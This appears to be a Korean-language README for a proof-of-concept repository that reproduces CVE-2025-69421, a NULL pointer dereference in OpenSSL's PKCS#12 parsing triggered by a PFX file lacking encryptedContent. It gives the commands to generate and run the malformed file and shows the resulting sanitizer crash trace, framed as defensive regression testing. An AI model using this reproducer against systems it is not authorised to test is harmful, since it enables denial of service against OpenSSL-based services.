
CVE-2025-69421 최소 재현 도구로, encryptedContent 필드가 없는 변형된 PFX 파일을 통해 OpenSSL PKCS#12 처리에서 NULL 포인터 역참조를 시연합니다. 생성 스크립트, ASN.1 검사, UBSan으로 유발된 크래시 출력을 포함하여 방어적 회귀 테스트에 사용됩니다.
이 저장소는 격리된 실험실 환경에서 CVE-2025-69421을 재현하는 최소한의 잘못된 형식의 PKCS#12 파일을 포함합니다.
생성된 PFX에는 선택적 encryptedContent 필드가 생략된 EncryptedData의 EncryptedContentInfo가 포함됩니다. 취약한 OpenSSL 버전은 PKCS12_unpack_p7encdata()에서 NULL ASN1_OCTET_STRING 포인터를 PKCS12_item_decrypt_d2i_ex()로 전달할 수 있으며, 이 함수는 NULL 검사 없이 역참조합니다.
이 재현기는 서비스 거부(DoS) 조건만 시연합니다. 코드 실행이나 정보 유출을 수행하지 않습니다.
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
PoC를 실행하기 전에 빌드 디렉토리를 설정하십시오:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD에는 취약한 libcrypto.so.3과 일치하는 apps/openssl 바이너리가 포함되어야 합니다.
미리 생성된 파일이 포함되어 있습니다. 다시 생성하려면:
python3 generate.py
출력은:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
관련 구조는:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
도우미 스크립트 사용:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
동등한 수동 명령:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
중요한 지표는:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
수정된 OpenSSL 빌드는 샌나이저 발견이나 프로세스 충돌 없이 잘못된 형식의 입력을 거부해야 합니다. 오류에는 다음이 포함될 수 있습니다:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
이 재현기는 귀하가 소유하거나 명시적으로 테스트 권한이 있는 시스템에서만 사용하십시오. 포함된 아티팩트는 방어적 검증 및 회귀 테스트를 위한 것입니다.